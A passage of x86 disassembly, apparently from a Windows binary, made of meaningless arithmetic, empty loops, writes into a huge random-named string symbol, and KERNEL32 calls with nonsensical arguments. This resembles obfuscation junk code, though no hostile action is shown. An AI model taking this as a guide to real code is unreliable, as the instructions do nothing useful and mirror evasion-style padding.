mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov edx, dword [0x51a8a8]
add edx, 1
mov dword [0x51a8a8], edx
mov dword [ebp - 0xf0], 0
jmp 0x4218ce
mov eax, dword [ebp - 0xf0]
add eax, 1
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x3504
cmp dword [ebp - 0xf0], ecx
jge 0x421927
mov edx, dword [ebp - 0x50]
sub edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x30]
cmp eax, dword [0x51a8b8]
jge 0x421925
mov ecx, dword [0x51a8a8]
cmp ecx, dword [ebp - 0x4c]
jne 0x421925
mov edx, dword [ebp - 0x54]
cmp edx, dword [0x51a870]
jne 0x421925
mov eax, dword [0x51a8bc]
cmp eax, dword [ebp - 4]
jne 0x421925
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_GetProductInfo]
jmp 0x4218bf
mov edx, dword [ebp + 0x10]
and edx, 0xffff68c0
sub edx, 0xad92
xor edx, 0x908ad06a
mov eax, dword [ebp + 0x10]
and eax, 0x5638
and eax, 0x1ef3
xor eax, 0x1148
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [0x51a884]
sub ecx, 1
mov dword [0x51a884], ecx
mov dword [ebp - 0xf4], 0
jmp 0x42197e
mov edx, dword [ebp - 0xf4]
add edx, 1
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x3504
cmp dword [ebp - 0xf4], eax
jge 0x421999
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
jmp 0x42196f
mov edx, dword [ebp + 0x24]
or edx, 0xffffea56
xor edx, 0x8dbe
xor edx, 0x939b110c
mov eax, 0x7521
sub eax, dword [ebp + 0x10]
add eax, 0xe17f
and eax, 0x19ce
xor eax, 0x6f2
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [ebp - 0x40]
add ecx, 0x4a2d
push ecx
mov edx, dword [0x51a86c]
sub edx, 0x2da6
push edx
mov eax, dword [ebp - 0x1c]
add eax, 0x8242
push eax
mov ecx, dword [0x51a87c]
add ecx, 0x516b
push ecx
mov edx, dword [0x51a878]
add edx, 0x5487
push edx
mov eax, dword [ebp - 0x60]
sub eax, 0xd7cc
push eax
mov ecx, dword [0x51a87c]
sub ecx, 0x1c4
push ecx
mov edx, dword [0x51a8bc]
add edx, 0x703f
push edx
call fcn.00416f20
add esp, 0x20
mov dword [ebp - 0xf8], 0
jmp 0x421a4b
mov eax, dword [ebp - 0xf8]
add eax, 1
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0x38]
sub ecx, 0xa7b0
cmp dword [ebp - 0xf8], ecx
jge 0x421a67
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
jmp 0x421a3c
mov eax, 0xf6d6
sub eax, dword [ebp + 0xc]
xor eax, 0x415331de
mov ecx, dword [ebp + 8]
and ecx, 0x3520
add ecx, 0xa6eb
xor ecx, 0xcf7f
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0xfc], 0
jmp 0x421aaa
mov edx, dword [ebp - 0xfc]
add edx, 1
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 4]
sub eax, 0x16e7b
cmp dword [ebp - 0xfc], eax
jge 0x421b1b
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [0x51a8cc]
jge 0x421ad1
mov dword [ebp - 0x70c], 1
jmp 0x421adb
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x34]
cmp edx, dword [0x51a8c4]
jge 0x421af2
mov dword [ebp - 0x710], 1
jmp 0x421afc
mov dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x70c]
and eax, dword [ebp - 0x710]
je 0x421b19
mov ecx, dword [0x51a8a8]
add ecx, 1
mov dword [0x51a8a8], ecx
jmp 0x421a9b
mov dword [ebp - 0x100], 0
jmp 0x421b36
mov edx, dword [ebp - 0x100]
add edx, 1
mov dword [ebp - 0x100], edx
mov eax, dword [ebp - 0x48]
sub eax, 0xdc20
cmp dword [ebp - 0x100], eax
jge 0x421bf5
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x58]
jge 0x421b5e
mov dword [ebp - 0x714], 1
jmp 0x421b68
mov dword [ebp - 0x714], 0
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x28]
jge 0x421b7c
mov dword [ebp - 0x718], 1
jmp 0x421b86
mov dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x714]
and eax, dword [ebp - 0x718]
je 0x421bf0
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [0x51a870]
jne 0x421bf0
mov edx, dword [0x51a86c]
cmp edx, dword [0x51a878]
jne 0x421bf0
push 0x6d7d
push 0xb502
push 0x13741
push 0x34a2
push 0xc531
push 0x111f3
push 0x1468a
push 0xcc7
push 0x7503
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
add esp, 0x24
mov eax, dword [0x51a8b8]
add eax, 1
mov dword [0x51a8b8], eax
jmp 0x421b27
mov ecx, dword [ebp + 0x1c]
or ecx, 0x43ce
xor ecx, 0x6d5620ac
mov edx, 0x6546
sub edx, dword [ebp + 0x10]
or edx, 0x2408
add edx, 0xb641
xor edx, 0xe419
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [0x51a870]
sub eax, 1
mov dword [0x51a870], eax
mov ecx, dword [0x51a870]
cmp ecx, dword [ebp - 0x2c]
jge 0x421c48
mov dword [ebp - 0x71c], 1
jmp 0x421c52
mov dword [ebp - 0x71c], 0
mov edx, dword [ebp - 0x3c]
cmp edx, dword [0x51a880]
jge 0x421c69
mov dword [ebp - 0x720], 1
jmp 0x421c73
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x10]
jge 0x421c87
mov dword [ebp - 0x724], 1
jmp 0x421c91
mov dword [ebp - 0x724], 0
mov ecx, dword [ebp - 0x14]
and ecx, dword [ebp - 0x71c]
or ecx, dword [ebp - 0x720]
or ecx, dword [ebp - 0x724]
je 0x421cdf
mov edx, dword [ebp - 0x40]
cmp edx, dword [0x51a8c0]
jne 0x421cdf
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x5c]
jne 0x421cdf
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 4]
jne 0x421cdf
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
push 0x11c8b
push 0x36cd
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
add esp, 8
mov dword [ebp - 0x104], 0
jmp 0x421cfa
mov eax, dword [ebp - 0x104]
add eax, 1
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x40]
sub ecx, 0x81e7
cmp dword [ebp - 0x104], ecx
jge 0x421d16
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
jmp 0x421ceb
mov eax, dword [ebp + 8]
xor eax, 0x6fff
xor eax, 0x704ae706
mov ecx, dword [ebp + 8]
add ecx, 0x97bc
or ecx, 0x98e
xor ecx, 0x17afb
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x44]
sub eax, 1
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 0x17008
push ecx
mov edx, dword [0x51a870]
sub edx, 0xedbc
push edx
mov eax, dword [0x51a85c]
sub eax, 0x2a1a
push eax
call fcn.00410ac0
add esp, 0xc
mov ecx, dword [0x51a880]
